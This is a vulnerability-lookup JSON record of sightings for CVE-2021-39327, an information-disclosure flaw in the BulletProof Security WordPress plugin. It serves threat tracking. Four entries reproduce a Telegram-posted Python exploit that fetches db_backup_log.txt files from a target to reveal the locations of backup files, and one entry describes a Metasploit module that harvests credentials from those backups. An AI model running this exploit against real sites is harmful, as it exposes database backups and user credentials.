{"vulnerability": "CVE-2021-39327", "sightings": [{"uuid": "63c94509-43f5-4473-b213-f52f129b7cbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-39327", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-39327.yaml", "content": "", "creation_timestamp": "2023-04-27T09:58:59.000000Z"}, {"uuid": "2e5cfce2-b9d2-46ef-bce5-77935449f059", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-39327", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:45.000000Z"}, {"uuid": "087b5e66-2cef-4ea5-aa6d-3ca6d5950488", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-39327", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:39.000000Z"}, {"uuid": "54b94ea6-96b5-4250-8604-5ef3cb983a32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-39327", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/wp_bulletproofsecurity_backups.rb", "content": "", "creation_timestamp": "2021-10-29T16:53:01.000000Z"}, {"uuid": "686c33db-5e3b-46d2-bc81-e49531e8a236", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-39327", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9728", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2021-39327\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)\n\ud83d\udd39 Description: The BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible ~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files. This affects versions up to, and including, 5.1.\n\ud83d\udccf Published: 2021-09-17T10:26:21.264Z\n\ud83d\udccf Modified: 2025-03-31T18:21:46.022Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39327\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2591118%40bulletproof-security&new=2591118%40bulletproof-security&sfp_email=&sfph_mail=\n3. http://packetstormsecurity.com/files/164420/WordPress-BulletProof-Security-5.1-Information-Disclosure.html\n4. https://github.com/Hacker5preme/Exploits/tree/main/Wordpress/CVE-2021-39327\n5. https://www.exploit-db.com/exploits/50382", "creation_timestamp": "2025-03-31T18:32:07.000000Z"}, {"uuid": "a9c83cc3-6b10-4659-b7b2-398026a58441", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-39327", "type": "seen", "source": "https://t.me/hacking_Attack/26489", "content": "Exploit Collector\nWordPress BulletProof Security 5.1 Information Disclosure\n\nhttps://3.bp.blogspot.com/-D2NV3HnXxpM/WWlu9YoBNhI/AAAAAAAAIJs/rLrqFdeLLWYSGUQPyN0O7DuhnXu7T_FjQCLcBGAs/s1600/h114.png \nWordPress BulletProof Security plugin version 5.1 suffers from an information disclosure vulnerability.\n\nMD5 | 8921fb148d8d2f34f31511cf73eba22e\n\nDownload\n# Exploit Title: Wordpress Plugin BulletProof Security 5.1 - Sensitive Information Disclosure\n# Date 04.10.2021\n# Exploit Author: Ron Jost (Hacker5preme)\n# Vendor Homepage: https://forum.ait-pro.com/read-me-first/\n# Software Link: https://downloads.wordpress.org/plugin/bulletproof-security.5.1.zip\n# Version: <=\n# Tested on: Ubuntu 18.04\n# CVE: CVE-2021-39327\n# CWE: CWE-200\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md\n'''\nDescription:\nThe BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible \n~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files. \nThis affects versions up to, and including, 5.1.\n'''\n\n'''\n'Banner:\n'''\nbanner = '''\n______     _______     ____   ___ ____  _      _____ ___ _________ _____ \n/ ___\\ \\   / / ____|   |___ \\ / _ \\___ \\/ |    |___ // _ \\___ /___ \\___  |\n| |    \\ \\ / /|  _| _____ __) | | | |__) | |_____ |_ \\ (_) ||_ \\ __) | / / \n| |___  \\ V / | |__|_____/ __/| |_| / __/| |_____|__) \\__, |__) / __/ / / \n\\____|  \\_/  |_____|   |_____|\\___/_____|_|    |____/  /_/____/_____/_/ \n\n* Sensitive information disclosure\n@ Author: Ron Jost\n'''\nprint(banner)\nimport argparse \nimport requests\n\n'''\nUser-Input:\n'''\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin BulletProof Security - Sensitive information disclosure')\nmy_parser.add_argument('-T', '--IP', type=str)\nmy_parser.add_argument('-P', '--PORT', type=str)\nmy_parser.add_argument('-U', '--PATH', type=str)\nargs = my_parser.parse_args()\ntarget_ip = args.IP\ntarget_port = args.PORT\nwp_path = args.PATH\nprint('')\nprint('[*] Starting Exploit:')\nprint('')\n\npaths = [\"/wp-content/bps-backup/logs/db_backup_log.txt\",  \"/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt\"]\n\n# Exploit\nfor pathadd in paths:\nx = requests.get(\"http://\" + target_ip + ':' + target_port + '/' + wp_path + pathadd)\nprint(x.text)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:18.491789Z"}, {"uuid": "23de820a-84d5-443a-bdd4-574faececa1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-39327", "type": "seen", "source": "https://t.me/hacking_Attack/26489", "content": "Exploit Collector\nWordPress BulletProof Security 5.1 Information Disclosure\n\nhttps://3.bp.blogspot.com/-D2NV3HnXxpM/WWlu9YoBNhI/AAAAAAAAIJs/rLrqFdeLLWYSGUQPyN0O7DuhnXu7T_FjQCLcBGAs/s1600/h114.png \nWordPress BulletProof Security plugin version 5.1 suffers from an information disclosure vulnerability.\n\nMD5 | 8921fb148d8d2f34f31511cf73eba22e\n\nDownload\n# Exploit Title: Wordpress Plugin BulletProof Security 5.1 - Sensitive Information Disclosure\n# Date 04.10.2021\n# Exploit Author: Ron Jost (Hacker5preme)\n# Vendor Homepage: https://forum.ait-pro.com/read-me-first/\n# Software Link: https://downloads.wordpress.org/plugin/bulletproof-security.5.1.zip\n# Version: <=\n# Tested on: Ubuntu 18.04\n# CVE: CVE-2021-39327\n# CWE: CWE-200\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md\n'''\nDescription:\nThe BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible \n~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files. \nThis affects versions up to, and including, 5.1.\n'''\n\n'''\n'Banner:\n'''\nbanner = '''\n______     _______     ____   ___ ____  _      _____ ___ _________ _____ \n/ ___\\ \\   / / ____|   |___ \\ / _ \\___ \\/ |    |___ // _ \\___ /___ \\___  |\n| |    \\ \\ / /|  _| _____ __) | | | |__) | |_____ |_ \\ (_) ||_ \\ __) | / / \n| |___  \\ V / | |__|_____/ __/| |_| / __/| |_____|__) \\__, |__) / __/ / / \n\\____|  \\_/  |_____|   |_____|\\___/_____|_|    |____/  /_/____/_____/_/ \n\n* Sensitive information disclosure\n@ Author: Ron Jost\n'''\nprint(banner)\nimport argparse \nimport requests\n\n'''\nUser-Input:\n'''\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin BulletProof Security - Sensitive information disclosure')\nmy_parser.add_argument('-T', '--IP', type=str)\nmy_parser.add_argument('-P', '--PORT', type=str)\nmy_parser.add_argument('-U', '--PATH', type=str)\nargs = my_parser.parse_args()\ntarget_ip = args.IP\ntarget_port = args.PORT\nwp_path = args.PATH\nprint('')\nprint('[*] Starting Exploit:')\nprint('')\n\npaths = [\"/wp-content/bps-backup/logs/db_backup_log.txt\",  \"/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt\"]\n\n# Exploit\nfor pathadd in paths:\nx = requests.get(\"http://\" + target_ip + ':' + target_port + '/' + wp_path + pathadd)\nprint(x.text)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:46.459395Z"}, {"uuid": "6fc538cb-d161-486d-93b4-50d3d0ebdd64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-39327", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/26489", "content": "Exploit Collector\nWordPress BulletProof Security 5.1 Information Disclosure\n\nhttps://3.bp.blogspot.com/-D2NV3HnXxpM/WWlu9YoBNhI/AAAAAAAAIJs/rLrqFdeLLWYSGUQPyN0O7DuhnXu7T_FjQCLcBGAs/s1600/h114.png \nWordPress BulletProof Security plugin version 5.1 suffers from an information disclosure vulnerability.\n\nMD5 | 8921fb148d8d2f34f31511cf73eba22e\n\nDownload\n# Exploit Title: Wordpress Plugin BulletProof Security 5.1 - Sensitive Information Disclosure\n# Date 04.10.2021\n# Exploit Author: Ron Jost (Hacker5preme)\n# Vendor Homepage: https://forum.ait-pro.com/read-me-first/\n# Software Link: https://downloads.wordpress.org/plugin/bulletproof-security.5.1.zip\n# Version: <=\n# Tested on: Ubuntu 18.04\n# CVE: CVE-2021-39327\n# CWE: CWE-200\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md\n'''\nDescription:\nThe BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible \n~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files. \nThis affects versions up to, and including, 5.1.\n'''\n\n'''\n'Banner:\n'''\nbanner = '''\n______     _______     ____   ___ ____  _      _____ ___ _________ _____ \n/ ___\\ \\   / / ____|   |___ \\ / _ \\___ \\/ |    |___ // _ \\___ /___ \\___  |\n| |    \\ \\ / /|  _| _____ __) | | | |__) | |_____ |_ \\ (_) ||_ \\ __) | / / \n| |___  \\ V / | |__|_____/ __/| |_| / __/| |_____|__) \\__, |__) / __/ / / \n\\____|  \\_/  |_____|   |_____|\\___/_____|_|    |____/  /_/____/_____/_/ \n\n* Sensitive information disclosure\n@ Author: Ron Jost\n'''\nprint(banner)\nimport argparse \nimport requests\n\n'''\nUser-Input:\n'''\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin BulletProof Security - Sensitive information disclosure')\nmy_parser.add_argument('-T', '--IP', type=str)\nmy_parser.add_argument('-P', '--PORT', type=str)\nmy_parser.add_argument('-U', '--PATH', type=str)\nargs = my_parser.parse_args()\ntarget_ip = args.IP\ntarget_port = args.PORT\nwp_path = args.PATH\nprint('')\nprint('[*] Starting Exploit:')\nprint('')\n\npaths = [\"/wp-content/bps-backup/logs/db_backup_log.txt\",  \"/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt\"]\n\n# Exploit\nfor pathadd in paths:\nx = requests.get(\"http://\" + target_ip + ':' + target_port + '/' + wp_path + pathadd)\nprint(x.text)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T12:00:04.985046Z"}, {"uuid": "c39baa8c-03e3-4acd-898a-2cededb26341", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-39327", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/26489", "content": "Exploit Collector\nWordPress BulletProof Security 5.1 Information Disclosure\n\nhttps://3.bp.blogspot.com/-D2NV3HnXxpM/WWlu9YoBNhI/AAAAAAAAIJs/rLrqFdeLLWYSGUQPyN0O7DuhnXu7T_FjQCLcBGAs/s1600/h114.png \nWordPress BulletProof Security plugin version 5.1 suffers from an information disclosure vulnerability.\n\nMD5 | 8921fb148d8d2f34f31511cf73eba22e\n\nDownload\n# Exploit Title: Wordpress Plugin BulletProof Security 5.1 - Sensitive Information Disclosure\n# Date 04.10.2021\n# Exploit Author: Ron Jost (Hacker5preme)\n# Vendor Homepage: https://forum.ait-pro.com/read-me-first/\n# Software Link: https://downloads.wordpress.org/plugin/bulletproof-security.5.1.zip\n# Version: <=\n# Tested on: Ubuntu 18.04\n# CVE: CVE-2021-39327\n# CWE: CWE-200\n# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md\n'''\nDescription:\nThe BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible \n~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files. \nThis affects versions up to, and including, 5.1.\n'''\n\n'''\n'Banner:\n'''\nbanner = '''\n______     _______     ____   ___ ____  _      _____ ___ _________ _____ \n/ ___\\ \\   / / ____|   |___ \\ / _ \\___ \\/ |    |___ // _ \\___ /___ \\___  |\n| |    \\ \\ / /|  _| _____ __) | | | |__) | |_____ |_ \\ (_) ||_ \\ __) | / / \n| |___  \\ V / | |__|_____/ __/| |_| / __/| |_____|__) \\__, |__) / __/ / / \n\\____|  \\_/  |_____|   |_____|\\___/_____|_|    |____/  /_/____/_____/_/ \n\n* Sensitive information disclosure\n@ Author: Ron Jost\n'''\nprint(banner)\nimport argparse \nimport requests\n\n'''\nUser-Input:\n'''\nmy_parser = argparse.ArgumentParser(description='Wordpress Plugin BulletProof Security - Sensitive information disclosure')\nmy_parser.add_argument('-T', '--IP', type=str)\nmy_parser.add_argument('-P', '--PORT', type=str)\nmy_parser.add_argument('-U', '--PATH', type=str)\nargs = my_parser.parse_args()\ntarget_ip = args.IP\ntarget_port = args.PORT\nwp_path = args.PATH\nprint('')\nprint('[*] Starting Exploit:')\nprint('')\n\npaths = [\"/wp-content/bps-backup/logs/db_backup_log.txt\",  \"/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt\"]\n\n# Exploit\nfor pathadd in paths:\nx = requests.get(\"http://\" + target_ip + ':' + target_port + '/' + wp_path + pathadd)\nprint(x.text)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:47.571330Z"}, {"uuid": "41a1fcd9-28db-4ad4-b87c-a261de7c5ce1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-39327", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/wp_bulletproofsecurity_backups.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"php\", \"author\": [\"Ron Jost (Hacker5preme)\", \"h00die\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": false, \"default_credential\": false, \"description\": \"The Wordpress plugin BulletProof Security, versions <= 5.1, suffers from an information disclosure\\n          vulnerability, in that the db_backup_log.txt is publicly accessible.  If the backup functionality\\n          is being utilized, this file will disclose where the backup files can be downloaded.\\n          After downloading the backup file, it will be parsed to grab all user credentials.\", \"disclosure_date\": \"2021-09-17\", \"fullname\": \"auxiliary/scanner/http/wp_bulletproofsecurity_backups\", \"is_install_path\": true, \"mod_time\": \"2023-04-12 13:09:34 +0000\", \"name\": \"Wordpress BulletProof Security Backup Disclosure\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/auxiliary/scanner/http/wp_bulletproofsecurity_backups.rb\", \"platform\": \"PHP\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"scanner/http/wp_bulletproofsecurity_backups\", \"references\": [\"EDB-50382\", \"CVE-2021-39327\", \"PACKETSTORM-164420\", \"URL-https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39327/README.md\"], \"rport\": 80, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:47:56.493213Z"}]}